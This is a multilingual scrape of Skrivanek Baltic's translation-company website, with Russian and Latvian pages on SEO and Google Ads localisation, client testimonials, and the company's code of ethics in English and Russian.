project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. ARE YOU IN NEED OF AN SEO OR GOOGLE ADS TRANSLATION? LOOKING FOR A LANGUAGE SOLUTION OR A CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Поможем локализовать Ваш сайт, соблюдая принципы SEO, и настроим контекстную рекламу в GoogleAds, чтобы Вас смог найти каждый потенциальный клиент! - Published: 2018-10-23 - Modified: 2024-09-30 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ - Translation Priorities: Optional Где бы вы ни вели предпринимательскую деятельность – на местном или международном рынке, важно, чтобы предлагаемый продукт или услуга была замечена, привлекла внимание и завоевала популярность в том числе и в Интернете. Вы сможете добиться наибольших успехов, обращаясь к своим потенциальным клиентам на их родном языке. Первый шаг – локализация интернет-страниц и рекламы и их адаптация к местному рынку и целевой аудитории. При локализации интернет-страниц необходимо соблюдать принципы SEO, влияющие на рейтинг конкретной интернет-страницы в результатах естественного поиска (результаты, демонстрируемые поисковой программой в соответствии с введенным ключевым словом), а также в случае необходимости использовать рекламирование в Интернете с помощью Google Ads, чтобы ваше замечательное предложение не ускользнуло от внимания реальных клиентов. ПЕРЕВОДЫ GOOGLE ADS (ADWORDS) Доступность интернет-страницы на разных языках существенно повышает ее конкурентоспособность. Наши специалисты помогут локализовать вашу интернет-страницу, соблюдая все актуальные принципы SEO, чтобы она выводилась максимально высоко в результате естественного поиска, а также подберут ключевые слова для рекламирования Google Ads, чтобы каждый потенциальный клиент без труда вас нашел. ОСНОВНЫЕ ПРИНЦИПЫ GOOGLE ADS Наши специалисты по локализации обучены переводу рекламных текстов Google Ads, а также знают способы определения популярности различных ключевых слов на целевом языке. К примеру, если предлагаются различные ИТ-товары, необходимо выяснить, как их обычно называют пользователи, которые могли бы их купить. Соответственно наши специалисты изменят ключевые слова, чтобы пользователи увидели вашу рекламу независимо от того, как они привыкли называть конкретный продукт. КАК НАШИ СПЕЦИАЛИСТЫ МОГУТ СОСТАВИТЬ ОТЛИЧНЫЙ РЕКЛАМНЫЙ ТЕКСТ GOOGLE ADS ИМЕННО ДЛЯ ВАС? Переводы Google Ads и локализация рекламы – не просто перевод, поэтому такими заданиями занимаются специалисты по локализации, для которых целевой язык является родным. Хорошей рекламе Google Ads присущи три особенности: она соответствует установленным ограничениям по длине; она точная и емкая; она обращается к клиенту понятным ему способом. Переводы Google Ads предусматривают не просто перевод рекламы: фактически наши специалисты создают ее заново на целевом языке, в точности сохраняя оригинальную идею, но преподнося ее приятным для местных пользователей способом. Это особенно важно, если реклама создается для использования на рынке с другой культурой и иным представлением о вежливости, формальности и стиле рекламы. ПЕРЕВОДЫ SEO Каждая интернет-страница в результатах поиска выводится выше или ниже в зависимости от того, насколько она (по механическому мнению поисковой программы) соответствует введенным пользователем ключевым словам и возможным потребностям. Специалисты по локализации Skrivanek знакомы с принципами SEO, поэтому при локализации интернет-страницы для использования на определенном местном рынке учитывается также, сможет ли страница занять высокое место в результатах поиска. ПРИНЦИПЫ SEO Интернет-страница, созданная и локализованная с соблюдением принципов SEO, в результатах естественного поиска будет отображена на более высокой позиции (обычно хорошим местом считается появление не далее третьей страницы результатов поиска). Наши специалисты при локализации вашей страницы учитывают определенные ключевые слова и поставленную цель, чтобы страница соответствовала требованиям поисковой программы и пожеланиям целевой аудитории. Страницы, оптимизированные согласно принципам SEO, обладают рядом существенных преимуществ: они выводятся выше в результатах поиска; они точнее соответствуют тому, что ищут пользователи, тем самым уменьшая вероятность того, что ваша страница будет открыта и закрыта (что говорит о том, что она демонстрируется неверной целевой аудитории); улучшается пользовательский опыт – повышается вероятность того, что пользователи найдут именно то, что искали; у таких страниц большая отдача инвестиций. КАК НАШИ СПЕЦИАЛИСТЫ ПО ЛОКАЛИЗАЦИИ СОЗДАЮТ ЛУЧШИЕ ПЕРЕВОДЫ SEO? Перевод ключевых слов – тонкая, кропотливая работа. Переводы SEO обладают еще одним существенным нюансом – представлением о том, какая конкуренция у конкретных ключевых слов в целевом языке и какие аналогичные ключевые слова используются. Для поиска лучших ключевых слов необходимо провести исследование, чтобы удостовериться в том, какие слова используются в целевом языке и насколько часто. Это может сделать как ваш специалист по SEO, так и наши профессионалы. Нередко для переводов SEO предлагается перечень ключевых слов на языке оригинала, после чего ведется поиск лучших и наиболее точных ключевых слов на целевом языке, сохраняющих первоначальное значение, но все еще популярных и общеупотребительных. ЧЕМ МЫ МОЖЕМ ПОМОЧЬ, ЕСЛИ ВАМ НЕОБХОДИМЫ ПЕРЕВОДЫ SEO И GOOGLE ADS? Реагируя на изменения рынка переводов, область переводов SEO и Google Ads становится одной из самых быстроразвивающихся областей локализации. Skrivanek Baltic обладает более чем 25-летним опытом работы в отрасли переводов, а также в нашей команде работают специалисты по локализации в более чем 110 языковых комбинациях. Наши специалисты по локализации обладают соответствующими знаниями и опытом для выполнения точных переводов SEO и Google Ads. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. НЕОБХОДИМ ПЕРЕВОД SEO ИЛИ GOOGLE ADS? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > The Skrivanek Baltic language service provider’s principles of professional ethics and conduct are binding to our cooperation partners as well. - Published: 2018-10-04 - Modified: 2021-11-03 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional The principles of our business are responsibility, reliability and honesty. These are the basic values that allow us to be reliable employers, collaboration partners and representatives of our field. We form long-term collaborations with employees and contractors (hereinafter “language specialists”), clients, suppliers and other collaboration partners. We continuously improve and develop our services in the field of language learning and translation, as well as other fields related to language acquisition and text creation. We know that our employees and language specialists are our biggest asset, which is why we ensure an open, honest and respectful work environment. Each company employee and language specialist is responsible for the reputation of the company and the prestige of the employer in the community. The aim of this code of conduct is to clearly define the principles of our work and business ethics, which are the key of our operation. This code has been written so that our operation principles are equally known to both our language specialists and collaboration partners. The code of conduct does not encompass every single possible question that may arise. We trust that our employees and language specialists, representing the interests of Skrivanek Baltic, make decisions with regard to questions that have not been covered here, based on the requirements of the law and our three basic principles – responsibility, reliability and trust, as well as, in the case of unclear questions, turn to the management of Skrivanek Baltic in order to receive the necessary consultations. The code of conduct concerns the management of the company, each employee and language specialist equally. The principles of this code of conduct are also observed in our daily business, collaborating with our clients, suppliers and partners. We conduct our business according to the local legislation, which stipulates the rules of business activity, honest commercial practice, labour law, data protection, labour safety standards, tax legislation and other aspects of business activity. We supply honest information on our financial activity, stand against corruption, hold the opinion that all unnecessary payments and gifts are unacceptable, and we stand for healthy competition. Skrivanek Baltic puts effort into doing everything that is necessary to ensure that the company’s management, employees, language specialists and partners abide by these rules, standards and principles. We also behave with respect towards the local cultural traditions, as well as observe them, unless they are in conflict with the legislation. In these cases the legislation comes first. Our language specialists work for the interests of Skrivanek Baltic. Our work is judged by how responsible and mindful of high quality customer service our employees and language specialists are. We encourage our employees and language specialists to speak their mind and defend their opinion. This is especially true when it comes to unfounded requirements or unacceptable actions by Skrivanek Baltic, their clients or collaboration partners. Employees and language specialists are encouraged to voice their suspicions or worries of possible malicious, unethical or otherwise unacceptable behaviour by reporting it to the management of Skrivanek Baltic, whose task it is to review them, and if necessary – investigate and perform the appropriate actions, regardless of who the involved persons might be. We are proud of our work environment. We observe and promote the observation of human rights; we act with respect towards differing opinions, including opinions on religion, politics, ethnicity and gender equality. The fact that our employees are diverse, with different opinions and convictions helps us be a creative, successfully developing company. Any negative, aggressive or discriminatory attitude towards our employees, language specialists, clients and collaboration partners is unacceptable. The equality principle is observed when hiring employees and language specialists, developing and improving their skills, if their qualifications and quality of work corresponds to the set requirements. We encourage our employees and language specialists to maintain an open dialogue when resolving issues, which require advice or support, as well as encourage them to voice any suggestions to improve our business activity, intercommunication and the quality of our services. We wish for our clients to trust us; this is why we continuously work on developing and improving ourselves, providing quality service and developing with the times. We have a responsibility when it comes to our clients, and we use quality management systems, which we regularly review and improve in accordance with the requirements of the language services field. We do not mislead our clients regarding the services provided by us, and in cases of quality issues, we investigate and perform the necessary corrections. When facing a conflict of interest, employees and language specialists have to immediately inform the relevant project manager or the management of Skrivanek Baltic about the situation, which may impact the performance of the service. These cases are investigated by the management of Skrivanek Baltic as a priority, and the necessary actions are taken to protect the interests of the client and Skrivanek Baltic. It is also the duty of the language specialist to immediately inform the relevant project manager, if they are missing the necessary information or tools to ensure high quality and timely service. We also encourage our language specialists to openly state their ideas and suggestions on ensuring and improving service quality. We base our service marketing and selling strategy on providing factual information. We do not use offensive or hateful communication in our advertisements. We care about our clients, which is why we view positive reviews and recommendations by clients as our greatest moments of success. We ensure the principles of our clients’ data protection. Data and information security is a relevant issue. Skrivanek Baltic handles the information entrusted to the company by language specialists, clients and other collaboration partners prudently and responsibly, and observes the requirements set out in the legislation regarding data and information protection. Our employees and language specialists observe confidentiality with regard to any client documents and materials in cases where this information is not publicly available. Skrivanek Baltic does not store information that is not necessary for the company to complete an order. We maintain our internal accounting system and cyber security. Together we can accomplish more. Our collaboration with suppliers is a part of our long-term business development, which is why we choose them with great care, taking into account their reputation, responsible business activity and wish to maintain our collaboration in the future. We are open about the criteria for choosing our collaboration partners, and we are also ready to provide more information to those suppliers that have not met these criteria. We are also honest when it comes to cases of potential conflicts of interest, because they may become the reason for refusing collaboration. Skrivanek Baltic makes all payments on the basis of payment order documents and behaves responsibly towards payments due to our collaboration partners. A service or product order must be stated in writing if the sum of the order exceeds 500 euros. We take all measures to ensure appropriate care regarding confidential information of our collaboration partners, which has been disclosed to the company as a result of collaboration, and we observe the confidentiality principles agreed upon by both parties. The management and language specialists of Skrivanek Baltic may receive or give small symbolic gifts, if they are strictly relevant to the business interests of Skrivanek Baltic and do not overstep the norms set out by legislation. Participation in meals relating to business activities of Skrivanek Baltic or events relating to business development and maintenance, for example, conferences and seminars, is acceptable. The gifts cannot be monetary. Our employees and language specialists do not accept invitations to expensive restaurants, entertainment venues, as well as other expensive gifts, including money or gift cards from collaboration partners during the time they represent the interests of Skrivanek Baltic. Expensive gifts must be immediately returned to the giver, explaining that they overstep the Skrivanek Baltic code of conduct. If the gift cannot be returned to the giver for any reason, it must be presented to the management of Skrivanek Baltic, which will use it for charity. Skrivanek Baltic language specialists use company resources, including intellectual property, for the benefit of the company, not for their personal interests. Careless, neglectful behaviour, waste of resources or theft directly influence the financial results of Skrivanek Baltic, and is not permitted, it can also be punished in accordance with the legislation. We collaborate with state institutions, as well as the government, and we are representatives of our field, and as such, we participate in the discussion of community issues. Skrivanek Baltic does not support any political parties, politicians, political or religious movements, or organisations, financially or in any other way. Skrivanek Baltic observes and respects the personal choice of their employees and language specialists to voice their political or religious views and support them personally, as long as it is not done in the name of the company. The work environment and company resources cannot be used as a platform for personal support. When carrying out individual support, employees and language specialists must observe the procedure set out in the legislation. Actions, which can be viewed as unlawful, or result in the suspicion of corruption, are not permitted. In turn, Skrivanek Baltic supports clear, professional and financially substantiated participation in charitable, cultural and other events. On the basis of any such support, regardless of its size, there must be a clear plan on how the company may develop in the long term by engaging in such collaboration, and whether this has a positive long-term effect on society. Skrivanek Baltic acts with respect to the environment. We consider each activity and how it impacts the environment, as well as how each employee and language specialist can have an impact on the responsible use of natural resources. We consider how materials can be re-used, sorted, recycled and disposed of in a responsible way. Each action, even a small one, helps to improve the situation, for example, turning off the lights before leaving the office. Only the managers of our company or persons authorised by them may officially represent the company in public media or events. Skrivanek Baltic managers represent company interests and they have additional responsibility to be a model of ethical behaviour, as well as maintaining and supporting it in the company. The role of our managers is to support employees and language specialists, providing answers to questions concerning ethics, and supporting honesty and trust. Skrivanek Baltic managers cannot, under any circumstances, give direct or indirect orders, as well as cannot support the violation or neglect of the code of conduct. Our managers have the obligation to spend their time reviewing any issue concerning ethics, as well as explaining the code of conduct to new employees. The managers support ethical behaviour by employees and language specialists, and they are available in the case of any questions or issues to help provide answers and solutions. --- > Основные принципы профессиональной этики и поведения работников языкового предприятия Skrivanek Baltic, обязательные и для партнеров Skrivanek. - Published: 2018-10-04 - Modified: 2021-11-03 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional Основа нашей предпринимательской деятельности – ответственность, надежность и честность. Эти три основные ценности позволяют нам быть надежным работодателем, деловым партнером и представителем отрасли. Мы налаживаем долгосрочное сотрудничество с работниками и подрядчиками (далее в тексте – лингвисты), клиентами, поставщиками и другими деловыми партнерами. Мы непрерывно улучшаем и развиваем свои услуги в области преподавания языков, перевода, а также других сферах, связанных с изучением языков и созданием текстов. Мы считаем своих сотрудников и лингвистов наибольшей ценностью, поэтому поддерживаем открытую, прозрачную рабочую атмосферу, основанную на уважении. Каждый сотрудник и лингвист несет ответственность за репутацию предприятия и публичный образ работодателя. Цель данного кодекса этики – четко определить принципы рабочей и деловой этики, которые являются лейтмотивом нашей деятельности. Настоящий кодекс разработан для того, чтобы ознакомить лингвистов и деловых партнеров с принципами нашей деятельности. Кодекс этики не охватывает абсолютно все вопросы, которые потенциально могут возникнуть. Мы предполагаем, что в вопросах, не описанных в Кодексе, наши сотрудники и лингвисты, представляющие интересы Skrivanek Baltic, будут принимать решения на основании требований закона и трех наших основных ценностей – ответственности, надежности и честности, – а в случае неясностей обращаться за консультацией к руководству Skrivanek Baltic. Кодекс этики в равной степени применяется к руководству предприятия, каждому его сотруднику и лингвисту. Принципы данного кодекса соблюдаются в нашей повседневной предпринимательской деятельности, при налаживании сотрудничества с клиентами, поставщиками и партнерами. В своей деятельности мы соблюдаем местное законодательство, регулирующее предпринимательство, честную коммерческую практику, трудовое и налоговое законодательство, защиту данных, стандарты безопасности труда и другие вопросы, связанные с предпринимательской деятельностью. Мы указываем достоверные данные о своей финансовой деятельности, выступаем против коррупции, считаем неприемлемыми любые необоснованные платежи или подарки и одобряем честную конкуренцию. Skrivanek Baltic всеми силами старается обеспечить соблюдение данных законов, стандартов и принципов руководством, сотрудниками, лингвистами и деловыми партнерами предприятия. Кроме того, мы уважаем местные культурные традиции и соблюдаем их, если они не противоречат законодательству; в таких случаях законодательство имеет преимущественную силу. Наши лингвисты работают в интересах Skrivanek Baltic, и работа предприятия оценивается по тому, насколько сотрудники и лингвисты ответственны и ориентированы на качественное обслуживание клиентов. Наши сотрудники и лингвисты могут высказывать и защищать свое мнение; особенно это относится к необоснованным требованиям или недопустимым действиям со стороны Skrivanek Baltic, его клиентов и деловых партнеров. Сотрудники и лингвисты могут высказывать свои подозрения или опасения относительно возможных злонамеренных, неэтичных или других неприемлемых действий руководству Skrivanek Baltic, в задачи которого входит рассмотрение сообщений, а в случае необходимости – проведение расследования и принятие надлежащих мер, невзирая на вовлеченных лиц. Мы гордимся своим рабочим окружением. Мы соблюдаем права человека и поощряем их соблюдение, уважаем разные мнения, в том числе в области религии, политики, этнического и полового равноправия. То, что у нас работают люди, которые придерживаются разных мнений и убеждений, помогает нам быть творческим предприятием и успешно развиваться. Любое негативное, агрессивное или дискриминирующее отношение к работникам, лингвистам, клиентам или деловым партнерам считается неприемлемым. Принцип равноправия соблюдается при приеме на работу, развитии и повышении квалификации и навыков работников и лингвистов, при условии, что их квалификация и качество работы соответствуют предъявляемым требованиям. Мы призываем работников и лингвистов вести открытый диалог по вопросам, требующим совета или поддержки, а также предлагаем высказывать свои предложения по развитию бизнеса, взаимной коммуникации и повышению качества предоставляемых услуг. Мы хотим, чтобы наши клиенты нам доверяли, поэтому непрерывно работаем над собственным развитием и усовершенствованием; мы предоставляем качественные услуги и идем в ногу со временем. Skrivanek Baltic несет ответственность перед своими клиентами и использует системы управления качеством, которые регулярно пересматриваются и улучшаются в соответствии с требованиями отрасли лингвистических услуг. Мы не вводим своих клиентов в заблуждение относительно предоставляемых услуг, а при возникновении вопросов об уровне качества проводим расследование и вносим необходимые коррективы. В случае конфликта интересов сотрудникам и лингвистам следует немедленно сообщить соответствующему руководителю проектов или руководству Skrivanek Baltic о сложившейся ситуации, способной повлиять на оказание услуги; такие случаи руководство Skrivanek Baltic рассматривает в порядке приоритета, принимая необходимые меры для защиты интересов клиента и Skrivanek Baltic. Кроме того, лингвист обязан сообщить соответствующему руководителю проектов о нехватке необходимой информации или инструментов для качественного и своевременного выполнения задания в рамках услуги. Мы призываем лингвистов открыто высказывать свои идеи и предложения относительно поддержания и повышения качества услуг. Наша стратегия в области маркетинга и продаж основывается на предоставлении достоверной информации; в своей рекламе мы не используем оскорбительную и враждебную коммуникацию. Для нас важны наши клиенты, поэтому своим наибольшим успехом мы считаем положительные отзывы и рекомендации заказчиков. Мы соблюдаем принципы защиты клиентских данных. Защита данных и информации – очень актуальный вопрос. Skrivanek Baltic добросовестно и ответственно относится к информации, доверенной ему лингвистами, клиентами, а также другими деловыми партнерами, и соблюдает предусмотренные законом требования в области защиты данных и информации. Наши сотрудники и лингвисты соблюдают конфиденциальность любых документов и материалов, если информация не является общедоступной. Skrivanek Baltic не хранит информацию, которая не требуется предприятию для выполнения заказа, а также заботится о содержании внутренних учетных систем и кибербезопасности. Вместе мы способны на большее. Наше сотрудничество с поставщиками – часть долгосрочного развития бизнеса, поэтому мы проводим тщательный отбор поставщиков, основываясь на их репутации, принципах ответственного предпринимательства и желании продолжать сотрудничество. Мы не скрываем критерии выбора деловых партнеров и готовы предоставить подробную информацию поставщикам, которые, как оказалось, не соответствуют данным критериям. Мы открыты в случае возможных конфликтов интересов, которые могут стать причиной отказа от сотрудничества. Skrivanek Baltic осуществляет все платежи на основании подписанных платежных документов и ответственно относится к расчетам с деловыми партнерами. Если стоимость услуг или товаров превышает 500 евро, заказ должен быть зафиксирован письменно. Мы с надлежащей аккуратностью обращаемся с конфиденциальной информацией деловых партнеров, разглашенной предприятию в ходе сотрудничества, и соблюдаем принципы конфиденциальности, согласованные сторонами. Руководство и лингвисты Skrivanek Baltic могут принимать и дарить небольшие символические подарки, если такие действия непосредственно связаны с интересами бизнеса Skrivanek Baltic и не нарушают требования законодательства. Считается приемлемым участвовать в обедах, связанных с предпринимательской деятельностью Skrivanek Baltic, а также мероприятиях, связанных с развитием и поддержанием бизнеса, например конференциях и семинарах. Подарки не могут быть денежными. Работая в интересах Skrivanek Baltic, сотрудники и лингвисты не принимают от деловых партнеров приглашения в дорогие рестораны, места развлечений, а также другие дорогие подарки, в том числе деньги и подарочные карты. Дорогие подарки следует немедленно вернуть дарителю, пояснив, что это является нарушением кодекса этики Skrivanek Baltic; если подарок по каким-либо причинам не может быть возвращен, его следует передать руководству Skrivanek Baltic, которое отдаст его на благотворительность. Лингвисты используют ресурсы Skrivanek Baltic, в том числе его интеллектуальную собственность, на благо предприятия, а не в своих личных интересах. Безответственное, халатное отношение, разбазаривание или кража ресурсов непосредственно влияет на финансовый результат деятельности Skrivanek Baltic и не одобряется; в отдельных случаях оно наказуемо в соответствии с законодательством. Мы принимаем участие в обсуждении общественных вопросов как деловые партнеры государственных учреждений, правительства и представителей отрасли. Skrivanek Baltic не поддерживает политические партии, отдельных политиков, политические или религиозные движения и организации ни финансово, ни каким-либо другим способом. Skrivanek Baltic учитывает и уважает личный выбор сотрудников и лингвистов относительно выражения своей политической или религиозной позиции и ее личной защиты, пока это не делается от имени предприятия. Запрещается использовать рабочее окружение и ресурсы предприятия как платформу для личной поддержки. В ходе оказания индивидуальной поддержки сотрудникам и лингвистам необходимо соблюдать предусмотренный законодательством порядок; действия, которые могут считаться незаконными или вызывать подозрения в коррупции, являются неприемлемыми. В свою очередь, Skrivanek Baltic одобряет прозрачное, обоснованное с профессиональной и финансовой точки зрения участие в благотворительных, культурных и других мероприятиях. Любая такая поддержка, независимо от ее размера, должна иметь четкий план, как предприятие может развивать такое сотрудничество в долгосрочной перспективе, а также имеет ли оно долгосрочное положительное влияние на общество. Skrivanek Baltic уважает окружающую среду. Мы думаем о том, как человеческое поведение влияет на окружающую среду и как любой из наших сотрудников и лингвистов может повлиять на ответственное использование природных ресурсов. Мы думаем о том, как можно использовать материалы повторно, сортировать, перерабатывать и ответственно утилизировать отходы. Любое, даже незначительное действие, например выключение света при выходе из офиса, может улучшить ситуацию. Официально представлять предприятие в публичных СМИ и на мероприятиях вправе только руководители предприятия и его уполномоченные представители. Руководители Skrivanek Baltic представляют интересы предприятия и на них возложена дополнительная обязанность быть примером этичной деятельности, поддерживать и одобрять ее на предприятии. Задача руководителей – поддерживать работников и лингвистов, предоставляя ответы по вопросам этики, поддерживая открытость и доверие. Руководители Skrivanek Baltic ни при каких обстоятельствах не дают прямых или косвенных указаний о нарушении или несоблюдении кодекса этики, а также не способствуют этому. Наши руководители обязаны уделять время рассмотрению любых вопросов этики, а также разъяснению кодекса этики новым работникам. Руководители поддерживают этичное поведение сотрудников и лингвистов, всегда доступны им в случае возникновения вопросов и неясностей, а также помогают найти ответы и решения в любых ситуациях --- > Lokalizēsim jūsu vietni, ievērojot SEO principus un pielāgosim to GoogleAds reklamēšanai, lai jūs spētu atrast ikviens potenciālais klients! - Published: 2018-08-20 - Modified: 2025-07-21 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ - Translation Priorities: Optional Neatkarīgi no tā, vai uzņēmējdarbība tiek veikta vietējā vai starptautiskā tirgū, ir svarīgi, lai piedāvātais produkts vai pakalpojums tiktu pamanīts, ievērots un kļūtu populārs arī interneta vidē. Vislielākos panākumus varat gūt, uzrunājot savus potenciālos klientus viņu dzimtajā valodā. Pirmais solis – tīmekļvietņu un reklāmu lokalizācija un pielāgošana vietējam tirgum un mērķauditorijai. Lokalizējot tīmekļvietnes, nākas ievērot SEO principus, kas ietekmē konkrētās tīmekļvietnes reitingu dabiskās meklēšanas rezultātos (rezultāti, ko rāda meklētājprogramma atbilstoši ievadītajam atslēgvārdam), kā arī nepieciešamības gadījumā izmantot reklamēšanu tīmeklī ar Google Ads, lai jūsu lieliskais piedāvājums nepaslīdētu garām īstajiem klientiem. GOOGLE ADS (ADWORDS) TULKOJUMI Tīmekļvietnes konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu vietni, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. GALVENIE GOOGLE ADS PRINCIPI Mūsu lokalizācijas speciālisti ir apmācīti Google Ads reklāmu tekstu tulkošanā, kā arī pārzina veidus, kā noskaidrot dažādu atslēgvārdu popularitāti mērķa valodā. Piemēram, piedāvājot dažādus IT produktus, ir jānoskaidro, kā tos mēdz dēvēt lietotāji, kas varētu tos iegādāties. Attiecīgi mūsu speciālisti pielāgos atslēgvārdus tā, lai lietotāji redzētu jūsu reklāmu neatkarīgi no tā, kā tie mēdz dēvēt attiecīgo produktu. KĀ MŪSU SPECIĀLISTI VAR IZVEIDOT LIELISKU GOOGLE ADS REKLĀMTEKSTU TIEŠI JUMS? Google Ads tulkojumi un reklāmu lokalizācija nav vienkāršs tulkošanas darbs, tādēļ ar šiem uzdevumiem nodarbojas lokalizācijas speciālisti, kuriem mērķa valoda ir dzimtā. Labu Google Ads reklāmu raksturo trīs lietas: tā atbilst noteiktajiem garuma ierobežojumiem; tā ir precīza un kodolīga; tā uzrunā klientu viņam saprotamā veidā. Google Ads tulkojumi paredz, ka reklāmas netiek vienkārši tulkotas, mūsu speciālisti tās rada no jauna mērķvalodā, precīzi saglabājot avota domu, taču pasniedzot to vietējiem lietotājiem patīkamā veidā. Tas ir īpaši svarīgi, ja reklāmas tiek veidotas lietošanai tirgū, kurā valda cita kultūra un atšķirīga izpratne par pieklājību, formalitāti un reklāmu stilu. SEO TULKOJUMI Ikviena vietne meklēšanas rezultātos rādās augstāk vai zemāk atkarībā no tā, cik labi tā, pēc meklētājprogrammas mehāniskajām domām, atbilst lietotāja ievadītajiem atslēgvārdiem un iespējamajām vajadzībām. Skrivanek lokalizācijas speciālisti pārzina SEO principus, tādējādi, lokalizējot tīmekļvietnes lietošanai kādā vietējā tirgū, tiek ņemts vērā arī tas, cik piemērota būs vietne augstai attēlošanai meklēšanas rezultātos. SEO PRINCIPI Vietne, kas izveidota un lokalizēta, ievērojot SEO principus, dabiskās meklēšanas rezultātos parādīsies augstā pozīcijā (parasti par labu vietu uzskata rādīšanos ne tālāk par trešo meklēšanas rezultātu lapu). Mūsu speciālisti, lokalizējot jūsu vietni, ņem vērā noteiktos atslēgvārdus un izvirzīto mērķi tā, lai jūsu vietne atbilstu meklētājprogrammas prasībām un mērķauditorijas vēlmēm. Vietnēm, kas optimizētas saskaņā ar SEO principiem, piemīt vairākas būtiskas priekšrocības: tās rādās augstāk meklēšanas rezultātos; tās precīzāk atbilst tam, ko lietotāji meklē, samazinot iespēju, ka jūsu vietne tiks atvērta un aizvērta (kas norāda, ka tā tiek rādīta nepareizai mērķauditorijai); uzlabota lietošanas pieredze – pastāv lielāka iespēja, ka lietotāji atradīs tieši to, ko meklējuši. Šādām vietnēm ir labāka ieguldījumu atdeve. KĀ MŪSU LOKALIZĀCIJAS SPECIĀLISTI RADA LABĀKOS SEO TULKOJUMUS? Atslēgvārdu tulkošana ir smalks un precīzs darbs. SEO tulkojumi paredz vēl kādu būtisku niansi – izpratni par to, cik liela konkurence konkrētiem atslēgvārdiem ir mērķa valodā un kādi līdzīgi atslēgvārdi tiek izmantoti. Lai atrastu labākos atslēgvārdus, ir jāveic izpēte, pārliecinoties, kādi vārdi un cik bieži mērķvalodā tiek lietoti. To var paveikt gan jūsu SEO speciālists, gan mūsu profesionāļi. Nereti SEO tulkojumiem tiek piedāvāts avotvalodas atslēgvārdu saraksts un pēc tam tiek meklēti labākie un precīzākie atslēgvārdi mērķvalodā, kas saglabātu sākotnējo nozīmi, taču būtu arī populāri un plaši lietoti. KĀ MĒS VARAM PALĪDZĒT, JA JUMS NEPIECIEŠAMI SEO TULKOJUMI UN GOOGLE ADS TULKOJUMI? Reaģējot uz tulkojumu tirgus izmaiņām, SEO tulkojumi un Google Ads tulkojumi ir viena no augošākajām lokalizācijas jomām. Skrivanek Baltic ir vairāk nekā 25 gadu pieredze tulkošanas nozarē, kā arī – mūsu komandā darbojas lokalizācijas speciālisti vairāk nekā 110 valodu kombinācijās. Mūsu lokalizācijas speciālistiem ir atbilstošas zināšanas un pieredze, ko nosaka smalkie SEO un Google Ads tulkojumi. BIEŽĀK UZDOTIE JAUTĀJUMI Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā 